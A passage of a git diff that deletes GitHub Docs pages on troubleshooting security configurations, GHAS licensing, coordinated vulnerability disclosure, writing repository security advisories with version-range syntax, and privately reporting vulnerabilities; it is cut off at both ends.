variables.product.prodname_codeql %} analysis is more than 90 days old -> * All {% data variables.product.prodname_codeql %} configurations have been deleted -> * The workflow file has been deleted or disabled (exclusively for YAML-based advanced setup) - -## Solving the problem - -There are two ways you can solve this problem: - -1. **Update the affected repositories to use default setup** for {% data variables.product.prodname_code_scanning %} at the repository level and then reapply your {% data variables.product.prodname_security_configuration %} to the repositories. For more information, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning). -1. **Create a new custom {% data variables.product.prodname_security_configuration %}** that does not include a setting for {% data variables.product.prodname_code_scanning %} and apply this {% data variables.product.prodname_security_configuration %} to repositories that use advanced setup. For more information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration). diff --git a/content/code-security/securing-your-organization/troubleshooting-security-configurations/feature-disappears.md b/content/code-security/securing-your-organization/troubleshooting-security-configurations/feature-disappears.md deleted file mode 100644 index d4ef187f419b..000000000000 --- a/content/code-security/securing-your-organization/troubleshooting-security-configurations/feature-disappears.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: A feature has disappeared from a security configuration -shortTitle: Feature disappears -allowTitleToDifferFromFilename: true -intro: 'Changes to your {% data variables.product.prodname_ghe_server %} instance''s installation settings by a site administrator may affect which security features are available to your configuration.' -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - feature: security-configurations-ghes-only -topics: - - Code Security - - Secret Protection - - Organizations - - Security ---- - -## About the problem - -Security configurations only include features that have been installed by a site administrator on your {% data variables.product.prodname_ghe_server %} instance. - -If a site administrator changes the installation settings for a feature on your {% data variables.product.prodname_ghe_server %} instance, your configuration may be impacted. - -After you have created and applied a security configuration to repositories across your organization: -* If a site administrator then **installs a new security feature** on the {% data variables.product.prodname_ghe_server %} instance, the feature appears in the configuration, but the enablement status for the feature displays as "Not set". -* If a site administrator **uninstalls an entire feature** from the {% data variables.product.prodname_ghe_server %} instance, the feature (and any sub-features) disappear from the configuration. The configuration doesn't detach from the repositories it's been applied to, and all other functionality continues as normal. -* If a site administrator **uninstalls {% data variables.product.prodname_actions %}** from the {% data variables.product.prodname_ghe_server %} instance, features that are dependent on {% data variables.product.prodname_actions %} (that is, {% data variables.product.prodname_dependabot_security_updates %} and {% data variables.product.prodname_code_scanning %}) disappear from the configuration. The configuration doesn't detach from the repositories it's been applied to, and all other functionality continues as normal. -* If a site administrator **uninstalls and then reinstalls** a feature on the {% data variables.product.prodname_ghe_server %} instance, the configuration remembers the pre-existing enablement status of the feature (either "Enabled", "Disabled", or "Not set") and reverts back to this original enablement status. - -## Solving the problem - -If you are concerned that a feature has disappeared from a configuration you've created, you should contact the site administrator for your {% data variables.product.prodname_ghe_server %} instance and check whether the feature, or its prerequisite feature, has been uninstalled from the instance, and if the change was intentional. diff --git a/content/code-security/securing-your-organization/troubleshooting-security-configurations/index.md b/content/code-security/securing-your-organization/troubleshooting-security-configurations/index.md deleted file mode 100644 index 7577474bafb6..000000000000 --- a/content/code-security/securing-your-organization/troubleshooting-security-configurations/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Troubleshooting security configurations -shortTitle: Troubleshooting configurations -intro: 'To successfully apply a {% data variables.product.prodname_security_configuration %}, you may need to troubleshoot unexpected issues.' -versions: - feature: security-configurations -topics: - - Code Security - - Secret Protection - - Organizations - - Security -children: - - /a-repository-is-using-advanced-setup-for-code-scanning - - /not-enough-github-advanced-security-licenses - - /feature-disappears ---- diff --git a/content/code-security/securing-your-organization/troubleshooting-security-configurations/not-enough-github-advanced-security-licenses.md b/content/code-security/securing-your-organization/troubleshooting-security-configurations/not-enough-github-advanced-security-licenses.md deleted file mode 100644 index 22f5e8b0b89a..000000000000 --- a/content/code-security/securing-your-organization/troubleshooting-security-configurations/not-enough-github-advanced-security-licenses.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Not enough GitHub Advanced Security licenses -shortTitle: Not enough GHAS licenses -intro: 'You need available GHAS licenses to enable GHAS features on a private{% ifversion ghec or ghes %} or internal{% endif %} repository.' -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - feature: security-configurations -topics: - - Code Security - - Secret Protection - - Organizations - - Security ---- - -You must have an available {% data variables.product.prodname_GH_advanced_security %} (GHAS) license for each unique active committer to enable GHAS features on a private{% ifversion ghec or ghes %} or internal{% endif %} repository. To learn about GHAS licensing, as well as unique and active committers, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security). - -If you try to apply a {% data variables.product.prodname_security_configuration %} with GHAS features to your repositories and don't have enough GHAS licenses, the configuration will only be successfully applied to public repositories. For private {% ifversion ghec or ghes %}and internal {% endif %}repositories, only free security features will be enabled due to the license limitation, resulting in the following outcomes: - - * Free security features enabled in the configuration _will_ be enabled for _all_ private {% ifversion ghec or ghes %}and internal {% endif %}repositories. - * GHAS features _will not_ be enabled for _any_ private {% ifversion ghec or ghes %}or internal {% endif %}repositories. - * The {% data variables.product.prodname_security_configuration %} _will not_ be applied to _any_ private {% ifversion ghec or ghes %}or internal {% endif %}repositories, since only some features from the configuration are enabled. - -For more information on managing GHAS licenses for your organization, see [AUTOTITLE](/code-security/securing-your-organization/managing-the-security-of-your-organization/managing-your-github-advanced-security-license-usage). diff --git a/content/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/about-coordinated-disclosure-of-security-vulnerabilities.md b/content/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/about-coordinated-disclosure-of-security-vulnerabilities.md deleted file mode 100644 index e81845badbaa..000000000000 --- a/content/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/about-coordinated-disclosure-of-security-vulnerabilities.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: About coordinated disclosure of security vulnerabilities -intro: Vulnerability disclosure is a coordinated effort between security reporters and repository maintainers. -redirect_from: - - /code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities - - /code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities - - /code-security/security-advisories/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities - - /code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Security advisories - - Vulnerabilities -shortTitle: Coordinated disclosure ---- - -## About disclosing vulnerabilities in the industry - -{% data reusables.security-advisory.disclosing-vulnerabilities %} - -The initial report of a vulnerability is made privately, and the full details are only published once the maintainer has acknowledged the issue, and ideally made remediations or a patch available, sometimes with a delay to allow more time for the patches to be installed. For more information, see the [OWASP Cheat Sheet Series about vulnerability disclosure](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html#commercial-and-open-source-software) on the OWASP Cheat Sheet Series website. - -### Best practices for vulnerability reporters - -It's good practice to report vulnerabilities privately to maintainers. When possible, as a vulnerability reporter, we recommend you avoid: -* Disclosing the vulnerability publicly without giving maintainers a chance to remediate. -* Bypassing the maintainers. -* Disclosing the vulnerability before a fixed version of the code is available. -* Expecting to be compensated for reporting an issue, where no public bounty program exists. - -It's acceptable for vulnerability reporters to disclose a vulnerability publicly after a period of time, if they have tried to contact the maintainers and not received a response, or contacted them and been asked to wait too long to disclose it. - -We recommend vulnerability reporters clearly state the terms of their disclosure policy as part of their reporting process. Even if the vulnerability reporter does not adhere to a strict policy, it's a good idea to set clear expectations for maintainers in terms of timelines on intended vulnerability disclosures. For an example of disclosure policy, see the [Security Lab's disclosure policy](https://securitylab.github.com/advisories#policy) on the GitHub Security Lab website. - -### Best practices for maintainers - -As a maintainer, it's good practice to clearly indicate how and where you want to receive reports for vulnerabilities. If this information is not clearly available, vulnerability reporters don't know how to contact you, and may resort to extracting developer email addresses from git commit histories to try to find an appropriate security contact. This can lead to friction, lost reports, or the publication of unresolved reports. - -Maintainers should disclose vulnerabilities in a timely manner. If there is a security vulnerability in your repository, we recommend you: -* Treat the vulnerability as a security issue rather than a simple bug, both in your response and your disclosure. For example, you'll need to explicitly mention that the issue is a security vulnerability in the release notes. -* Acknowledge receipt of the vulnerability report as quickly as possible, even if no immediate resources are available for investigation. This sends the message that you are quick to respond and act, and it sets a positive tone for the rest of the interaction between you and the vulnerability reporter. -* Involve the vulnerability reporter when you verify the impact and veracity of the report. It's likely the vulnerability reporter has already spent time considering the vulnerability in a variety of scenarios, some of which you may have not considered yourself. -* Remediate the issue in a way that you see fit, taking any concerns and advice provided by the vulnerability reporter into careful consideration. Often the vulnerability reporter will have knowledge of certain corner cases and remediation bypasses that are easy to miss without a security research background. -* Always acknowledge the vulnerability reporter when you credit the discovery. -* Aim to publish a fix as soon as you can. -* Ensure that you make the wider ecosystem aware of the issue and its remediation when you disclose the vulnerability. It is not uncommon to see cases where a recognized security issue is fixed in the current development branch of a project, but the commit or subsequent release is not explicitly marked as a security fix or release. This can cause problems with downstream consumers. - -Publishing the details of a security vulnerability doesn't make maintainers look bad. Security vulnerabilities are present everywhere in software, and users will trust maintainers who have a clear and established process for disclosing security vulnerabilities in their code. - -## About reporting and disclosing vulnerabilities in projects on {% data variables.product.prodname_dotcom %} - -There are two processes available on {% data variables.product.prodname_dotcom %}: - -* The standard process: Vulnerability reporters get in touch with the repository maintainers, using contact information located in the security policy for the repository. The repository maintainers then create a draft repository advisory if required. -* Private vulnerability reporting: Vulnerability reporters disclose vulnerability details directly and privately to the repository maintainers by proposing a draft repository advisory and providing details of their findings. - -### Standard process - -The process for reporting and disclosing vulnerabilities for projects on {% data variables.product.prodname_dotcom %} is as follows: - - If you are a vulnerability reporter (for example, a security researcher) who would like report a vulnerability, first check if there is a security policy for the related repository. For more information, see [AUTOTITLE](/code-security/getting-started/adding-a-security-policy-to-your-repository#about-security-policies). If there is one, follow it to understand the process before contacting the security team for that repository. - - If there isn't a security policy in place, the most efficient way to establish a private means of communication with maintainers is to create an issue asking for a preferred security contact. It's worth noting that the issue will be immediately publicly visible, so it should not include any information about the bug. Once communication is established, you can suggest the maintainers define a security policy for future use. - -> [!NOTE] -> _For npm only_ - If we receive a report of malware in an npm package, we try to contact you privately. If you don't address the issue in a timely manner, we will disclose it. For more information, see [Reporting malware in an npm package](https://docs.npmjs.com/reporting-malware-in-an-npm-package) on the npm Docs website. - - If you've found a security vulnerability in {% data variables.product.prodname_dotcom %}, please report the vulnerability through our coordinated disclosure process. For more information, see the [{% data variables.product.prodname_dotcom %} Security Bug Bounty](https://bounty.github.com/) website. - - If you are a maintainer, you can take ownership of the process at the very beginning of the pipeline by setting up a security policy for your repository, or otherwise making security reporting instructions clearly available, for example in your project’s README file. For information about adding a security policy, see [AUTOTITLE](/code-security/getting-started/adding-a-security-policy-to-your-repository#about-security-policies). If there is no security policy, it's likely that a vulnerability reporter will try to email you or otherwise privately contact you. Alternatively, someone may open a (public) issue with details of a security issue. - - As a maintainer, to disclose a vulnerability in your code, you first create a draft security advisory in the package's repository in {% data variables.product.prodname_dotcom %}. {% data reusables.security-advisory.security-advisory-overview %} For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories). - - To get started, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/creating-a-repository-security-advisory). - -### Private vulnerability reporting - -{% data reusables.security-advisory.private-vulnerability-reporting-enable %} - - Private vulnerability reporting provides an easy way for vulnerability reporters to privately disclose security risks to repository maintainers, within {% data variables.product.prodname_dotcom %}, and in a way that immediately notifies the repository maintainers of the issue. For more information for security researchers and repository maintainers, see [AUTOTITLE](/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/privately-reporting-a-security-vulnerability) and [AUTOTITLE](/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/managing-privately-reported-security-vulnerabilities), respectively. - -> [!NOTE] -> If the repository containing the vulnerability doesn't have private vulnerability reporting enabled, both security researchers and repository maintainers need to follow the instructions described in the [Standard process](#standard-process) section above. diff --git a/content/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/best-practices-for-writing-repository-security-advisories.md b/content/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/best-practices-for-writing-repository-security-advisories.md deleted file mode 100644 index 36ff38b19a68..000000000000 --- a/content/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/best-practices-for-writing-repository-security-advisories.md +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: Best practices for writing repository security advisories -intro: 'When you create or edit security advisories, the information you provide is easier for other users to understand when you specify the ecosystem, package name, and affected versions using the standard formats.' -versions: - fpt: '*' - ghec: '*' -permissions: '{% data reusables.permissions.security-repo-enable %}' -type: how_to -topics: - - Security advisories - - Vulnerabilities -shortTitle: Best practices -redirect_from: - - /code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories - - /code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories ---- - -{% data reusables.security-advisory.security-researcher-cannot-create-advisory %} - -## About security advisories for repositories - -{% data reusables.security-advisory.security-advisory-overview %} For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories). - -We recommend you use the syntax used in the {% data variables.product.prodname_advisory_database %}, especially the version formatting, when you write a repository security advisory, or make a community contribution to a global security advisory. - -If you follow the syntax for the {% data variables.product.prodname_advisory_database %}, especially when you define affected versions: -* When you publish your repository advisory, we can add your advisory to the {% data variables.product.prodname_advisory_database %} as a "{% data variables.product.company_short %}-reviewed" advisory, without needing to ask for more information. -* {% data variables.product.prodname_dependabot %} will have the information to accurately identify repositories that are affected and send them {% data variables.product.prodname_dependabot_alerts %} to notify them. -* Community members are less likely to suggest edits to your advisory to fix missing or incorrect information. - -You add or edit a repository advisory using the _Draft security advisory_ form. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/creating-a-repository-security-advisory). - -You suggest an improvement to an existing global advisory using the _Improve security advisory_ form. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/editing-security-advisories-in-the-github-advisory-database). - -## Ecosystem - -You need to assign the advisory to one of our supported ecosystems using the **Ecosystem** field. For more information about the ecosystems we support, see [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/browsing-security-advisories-in-the-github-advisory-database#github-reviewed-advisories). - -![Screenshot of the "Affected products" area of the security advisory form. The "Ecosystem" field is highlighted with a dark orange outline.](/assets/images/help/security/security-advisory-ecosystem.png) - -## Package name - -We recommend that you use the **Package name** field to specify which packages are affected because package information is required for "{% data variables.product.company_short %}-reviewed" advisories in the {% data variables.product.prodname_advisory_database %}. Package information is optional for repository-level security advisories, but including this information early simplifies the review process when you publish your security advisory. - -## Affected versions - -We recommend that you use the **Affected versions** field to specify which versions are affected because this information is required for "{% data variables.product.company_short %}-reviewed" advisories in the {% data variables.product.prodname_advisory_database %}. Version information is optional for repository-level security advisories, but including this information early simplifies the review process when you publish your security advisory. - -For more information about the {% data variables.product.prodname_advisory_database %}, see [https://github.com/github/advisory-database](https://github.com/github/advisory-database). - -### Glossary - -* **Vulnerable Version Range (VVR):** the range of versions that are vulnerable to a particular software bug. -* **Operator:** any symbol that indicates the boundary of a vulnerable version range. -* **Open Source Vulnerability format (OSV):** format that the {% data variables.product.prodname_advisory_database %} data strives to be compatible with. - -### Version syntax - -* Smaller numbers are earlier versions than larger numbers. for example, `1.0.0` is a lower version than `2.0.0` -* Earlier letters in the alphabet are earlier versions than later letters in the alphabet. For example, `2.0.0-a` is an earlier version than `2.0.0-b`. -* Any letters that come after a number are considered part of a prerelease, so any versions with letters after the numbers are earlier versions than numbers without letters in the version number. For example, `2.0.0-alpha`, `2.0.0-beta`, and `2.0.0-rc` are earlier than `2.0.0`. -* A fixed version cannot be smaller than the largest number in the VVR. For example, a vulnerable version is released and the maintainer recommends downgrading. The maintainer cannot label that lower version as a fixed or patched version in the `Fixed` field because that version is smaller than the vulnerable version. - -### Supported operators - -* `>=` for “greater than or equal to this version”. -* `>` for “greater than this version”. - - >[!WARNING] Although {% data variables.product.prodname_dotcom %} supports the use of the `>` operator, using this operator is not recommended because it's not supported by the OSV format. - -* `=` for “equal to this version”. -* `<=` for “less than or equal to this version”. -* `<` for “less than this version”. - -### Specifying affected versions on {% data variables.product.prodname_dotcom %} - -It is important to clearly define the affected versions for an advisory. {% data variables.product.prodname_dotcom %} provides several options in the **Affected versions** field for you to specify vulnerable version ranges. - -For examples showing how affected versions are defined in some existing advisories, see [Examples](#examples). - -* A valid affected version string consists of one of the following: - * A lower bound operator sequence. - * An upper bound operator sequence. - * Both an upper and lower bound operator sequence. The lower bound must come first, followed by a comma and a single space, then the upper bound. - * A specific version sequence using the equality (`=`) operator. - * Each operator sequence must be specified as the operator, a single space, and then the version. For more information about valid operators, see [Supported operators](#supported-operators) above. - * The version must begin with a number followed by any number of numbers, letters, dots, dashes, or underscores (anything other than a space or comma). For more information about version formatting, see [Version syntax](#version-syntax) above. - - > [!NOTE] - > Affected version strings cannot contain leading or trailing spaces. - -* Upper-bound operators can be inclusive or exclusive, i.e. `<=` or `<`, respectively. -* Lower-bound operators can be inclusive or exclusive, i.e. `>=` or `>`, respectively. However, if you publish your repository advisory, and we graduate your repository advisory into a global advisory, a different rule applies: lower-bound strings can only be inclusive, i.e. `>=`. The exclusive lower bound operator (`>`) is only allowed when the version is `0`, for example `> 0`. -* Proper use of spaces - * Use a space between an operator and a version number. - * Do not use a space in `>=` or `<=`. - * Do not use a space between a number and a comma in `>= lower bound, <= upper bound`. - * Use a space between a comma and the upper bound operator. - - > [!NOTE] - > The lower-bound limitation: - > * Is due to incompatibilities with the OSV schema. - > * Only applies when you make a suggestion on an existing advisory in the {% data variables.product.prodname_advisory_database %}. - -* You cannot specify multiple affected version ranges in the same field, such as `> 2.0, < 2.3, > 3.0, < 3.2`.To specify more than one range, you must create a new **Affected products** section for each range, by clicking the **+ Add another affected product** button. - - ![Screenshot of the "Affected products" area of the security advisory form. The "Add another affected product" link is outlined in dark orange.](/assets/images/help/security/security-advisory-add-another-affected-product.png) -* If the affected version range includes only a single upper or lower bound: - * The implicit value is always `> 0` if the lower bound is not explicitly specified. - * The implicit value is always infinity if the upper bound is not explicitly specified. - -### Setting an upper bound only on a VVR - -* If you set only an upper bound, use `<=` or `<`. -* The {% data variables.product.prodname_advisory_database %} uses the PyPA database as one of its data sources. However, {% data variables.product.prodname_dotcom %} doesn't match the PyPA VVR format exactly (PyPa security advisories often use `>= 0, <= n` or `>= 0, < n` to refer to version ranges that only have an upper bound). -* There is no need to include `>= 0` in a range that only has an upper bound. - -### Setting a lower bound only on a VVR - -* The advisory curation team doesn't recommend setting lower bounds only on any advisory other than malware. -This is because, if a fixed version is ever released, users of the fixed version will continue to receive unnecessary {% data variables.product.prodname_dependabot_alerts %} until the advisory is manually updated. -* Use `>= 0` for all versions -* `> 0` is generally not used. - -### Specifying only one affected version - -* `= n` for the single affected version -* Keep in mind that the `=` will not automatically include any public or private previews, _only_ the version specified. - -### Common errors - -* Avoid using the `< n` vulnerable version range and then saying `n+1` is patched. - * `< n` should only be used when `n` is not vulnerable. - * In this case, the VVR should be `<= n` or `< n+1`. - -* Avoid using only a number when describing fixed versions with official version numbers that have letters. Say your software has two branches, `linux` and `windows`. When you release `2.0.0-linux` and `2.0.0-windows`, using `< 2.0.0` as the vulnerable version will mark `2.0.0-linux` and `2.0.0-windows` as vulnerable because the version logic interprets `-linux` and `-windows` as prereleases. You will need to mark `2.0.0-linux`, the earliest branch in the alphabet, as the first patched version to avoid `2.0.0-linux` and `2.0.0-windows` being considered vulnerable. - -### Examples - -#### Advisory with multiple VVRs and multiple operators - -[Etcd Gateway TLS authentication only applies to endpoints detected in DNS SRV records (GHSA-wr2v-9rpq-c35q)](https://github.com/advisories/GHSA-wr2v-9rpq-c35q) has two vulnerable version ranges: -* `< 3.3.23`, which has an upper bound with no lower bound and uses the `<` operator. -* `>= 3.4.0-rc.0, <= 3.4.9`, which has both an upper bound and a lower bound, and uses the `>=` and `<=` operators. - -#### Advisory showing the relationship between a prerelease and a regular release - -[XWiki Platform allows XSS through XClass name in string properties (GHSA-wcg9-pgqv-xm5v)](https://github.com/advisories/GHSA-wcg9-pgqv-xm5v) has four vulnerable version ranges: - -* `>= 1.1.2, < 14.10.21` -* `>= 15.0-rc-1, < 15.5.5` -* `>= 15.6-rc-1, < 15.10.6` -* `= 16.0.0-rc-1` - -Three of these VVRs include prereleases in the range of vulnerable versions. The last VVR, `= 16.0.0-rc-1`, shows that only `16.0.0-rc-1` is vulnerable, while the regular release that came after it, `16.0.0`, isn't. The logic considers `16.0.0-rc-1` and `16.0.0` as separate versions, with `16.0.0-rc-1` being an earlier release than `16.0.0`. - -The patch for this vulnerability was published on Jan 24, 2024, for version 16.0.0. For more information see [commit 27eca84](https://github.com/xwiki/xwiki-platform/commit/27eca8423fc1ad177518077a733076821268509c) in the `xwiki/xwiki-platform ` repository. The [XWiki Platform Old Core](https://mvnrepository.com/artifact/org.xwiki.platform/xwiki-platform-oldcore) page in the MVN Repository site shows that `16.0.0-rc-1` was published on Jan 22, 2024, before the fix was added to XWiki, and `16.0.0` was published on Jan 29, 2024, after the fix was committed. - -#### Advisory with branch names in version numbers - -[Google Guava](https://mvnrepository.com/artifact/com.google.guava/guava) has two branches, `android` and `jre`, in its version releases. [Guava vulnerable to insecure use of temporary directory (GHSA-7g45-4rm6-3mm3)](https://github.com/advisories/GHSA-7g45-4rm6-3mm3) and [Information Disclosure in Guava (GHSA-5mg8-w23w-74h3)](https://github.com/advisories/GHSA-5mg8-w23w-74h3) are advisories about vulnerabilities that affect Guava. Both advisories set `32.0.0-android` as the patched version. - -* The version range logic interprets letters after `32.0.0` as prereleases, so if you set the patched version to `32.0.0`, then both `32.0.0-android` and `32.0.0-jre` would be incorrectly marked as vulnerable. -* The version range logic interprets letters later in the alphabet as being a later version than letters earlier in the alphabet, so if you set the patched version to `32.0.0-jre`, then `32.0.0-android` would be incorrectly marked as vulnerable. - -The best way to indicate that both `32.0.0-android` and `32.0.0-jre` are patched is to use `32.0.0-android` as the patched version, and the logic will interpret everything after `32.0.0-android` in the alphabet as patched. diff --git a/content/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/index.md b/content/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/index.md deleted file mode 100644 index 5bfb16d09c67..000000000000 --- a/content/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Guidance on reporting and writing information about vulnerabilities -shortTitle: Guidance on reporting and writing -intro: Best practices for writing security advisories and managing privately reported security vulnerabilities. -redirect_from: - - /code-security/security-advisories/guidance-on-reporting-and-writing -versions: - fpt: '*' - ghec: '*' -topics: - - Security advisories - - Vulnerabilities - - Repositories - - CVEs -children: - - /about-coordinated-disclosure-of-security-vulnerabilities - - /best-practices-for-writing-repository-security-advisories - - /privately-reporting-a-security-vulnerability - - /managing-privately-reported-security-vulnerabilities ---- diff --git a/content/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/managing-privately-reported-security-vulnerabilities.md b/content/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/managing-privately-reported-security-vulnerabilities.md deleted file mode 100644 index 2c4e6be1f0c1..000000000000 --- a/content/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/managing-privately-reported-security-vulnerabilities.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Managing privately reported security vulnerabilities -intro: Repository maintainers can manage security vulnerabilities that have been privately reported to them by security researchers for repositories where private vulnerability reporting is enabled. -permissions: '{% data reusables.permissions.security-repo-enable %}' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Security advisories - - Vulnerabilities -shortTitle: Manage vulnerability reports -redirect_from: - - /code-security/security-advisories/guidance-on-reporting-and-writing/managing-privately-reported-security-vulnerabilities ---- - -{% data reusables.security-advisory.private-vulnerability-reporting-enable %} - -## About privately reporting a security vulnerability - -Private vulnerability reporting makes it easy for security researchers to report vulnerabilities directly to you using a simple form. - -When a security researcher reports a vulnerability privately, you are notified and can choose to either accept it, ask more questions, or reject it. If you accept the report, you're ready to collaborate on a fix for the vulnerability in private with the security researcher. - -## Managing security vulnerabilities that are privately reported - -{% data reusables.security-advisory.private-vulnerability-reporting-configure-notifications %} - -For more information about configuring notification preferences, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository#configuring-notifications-for-private-vulnerability-reporting). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-advisories %} -1. Click the advisory you want to review. An advisory that was reported privately has a status of `Triage`. - - ![Screenshot of a "Security Advisories" list.](/assets/images/help/security/advisory-list.png) - -1. Carefully review the report, then choose how to proceed. - * To collaborate on a patch in private, click **Start a temporary private fork** to create a place for further discussions with the contributor. This does not change the status of the proposed advisory from `Triage`. - * To accept the reported vulnerability, click **Accept and open as draft** to accept the vulnerability report as a draft advisory on {% data variables.product.prodname_dotcom %}. If you choose this option: - * This doesn't make the report public. - * The report becomes a draft repository security advisory and you can work on it in the same way as any draft advisory that you create. - For more information on security advisories, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories). - * To ask for more information, or to open a discussion with the reporter, you can comment on the advisory. Any comments are visible only to the reporter and to any collaborators on the advisory. - * If you have enough information to determine that the problem the reporter describes is not a security risk, click **Close security advisory**. Where possible, you should add a comment explaining why you don't consider the report a security risk before you close the advisory. - - ![Screenshot showing the options available to the repository maintainer when reviewing an externally submitted vulnerability report.](/assets/images/help/security/advisory-maintainer-options.png) diff --git a/content/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/privately-reporting-a-security-vulnerability.md b/content/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/privately-reporting-a-security-vulnerability.md deleted file mode 100644 index 021dcddb7382..000000000000 --- a/content/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/privately-reporting-a-security-vulnerability.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Privately reporting a security vulnerability -intro: Some public repositories configure security advisories so that anyone can report security vulnerabilities directly and privately to the maintainers. -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Security advisories - - Vulnerabilities -permissions: '**Anyone** can privately report a security vulnerability to repository maintainers.' -shortTitle: Privately reporting -redirect_from: - - /code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability ---- - -{% data reusables.security-advisory.private-vulnerability-reporting-enable %} - -> [!NOTE] -> * If you have admin or security permissions for a public repository, you don't need to submit a vulnerability report. Instead, you can create a draft security advisory directly. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/creating-a-repository-security-advisory). -> * The ability to privately report a vulnerability in a repository is not related to the presence of a `SECURITY.md` file in that repository's root or `docs` directory. -> * The `SECURITY.md` file contains the security policy for the repository. Repository administrators can add and use this file to provide _public_ instructions for how to report a security vulnerability in their repository. For more information, see [AUTOTITLE](/code-security/getting-started/adding-a-security-policy-to-your-repository). -> * You can only report a vulnerability privately for repositories where private vulnerability reporting is enabled, and you don't have to follow the instructions in the `SECURITY.md` file. This reporting process is fully private, and {% data variables.product.prodname_dotcom %} notifies the repository administrators directly about your submission. - -## About privately reporting a security vulnerability - -Security researchers often feel responsible for alerting users to a vulnerability that could be exploited. If there are no clear instructions about contacting maintainers of the repository containing the vulnerability, security researchers may have no other choice but to post about the vulnerability on social media, send direct messages to the maintainer, or even create public issues. This situation can potentially lead to a public disclosure of the vulnerability details. - -Private vulnerability reporting makes it easy for security researchers to report vulnerabilities directly to the repository maintainer using a simple form. - -For security researchers, the benefits of using private vulnerability reporting are: -* Less frustration, and less time spent trying to figure out how to contact the maintainer. -* A smoother process for disclosing and discussing vulnerability details. -* The opportunity to discuss vulnerability details privately with the repository maintainer. - -{% data reusables.security-advisory.private-vulnerability-reporting-disabled %} - -## Privately reporting a security vulnerability - -If a public repository has private vulnerability reporting enabled, anyone can privately report a security vulnerability to repository maintainers. Users can also evaluate the general security of a public repository and suggest a security policy. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/evaluating-the-security-settings-of-a-repository). - -{% data reusables.security-advisory.reporting-a-vulnerability-non-admin %} - -The next steps depend on the action taken by the repository maintainer. For more information, see [AUTOTITLE](/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/managing-privately-reported-security-vulnerabilities). diff --git a/content/code-security/security-advisories/index.md b/content/code-security/security-advisories/index.md deleted file mode 100644 index 6f8e62ecc91a..000000000000 --- a/content/code-security/security-advisories/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Working with security advisories -shortTitle: Security advisories -allowTitleToDifferFromFilename: true -intro: 'Learn how to work with security advisories on {% data variables.product.prodname_dotcom %},{% ifversion fpt or ghec %} whether you want to contribute to an existing global advisory, or create a security advisory for a repository,{% endif %} improving collaboration between repository maintainers and security researchers.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Security advisories - - Vulnerabilities - - Repositories - - CVEs -children: - - /working-with-global-security-advisories-from-the-github-advisory-database - - /working-with-repository-security-advisories - - /guidance-on-reporting-and-writing-information-about-vulnerabilities ---- diff --git a/content/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/about-global-security-advisories.md b/content/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/about-global-security-advisories.md deleted file mode 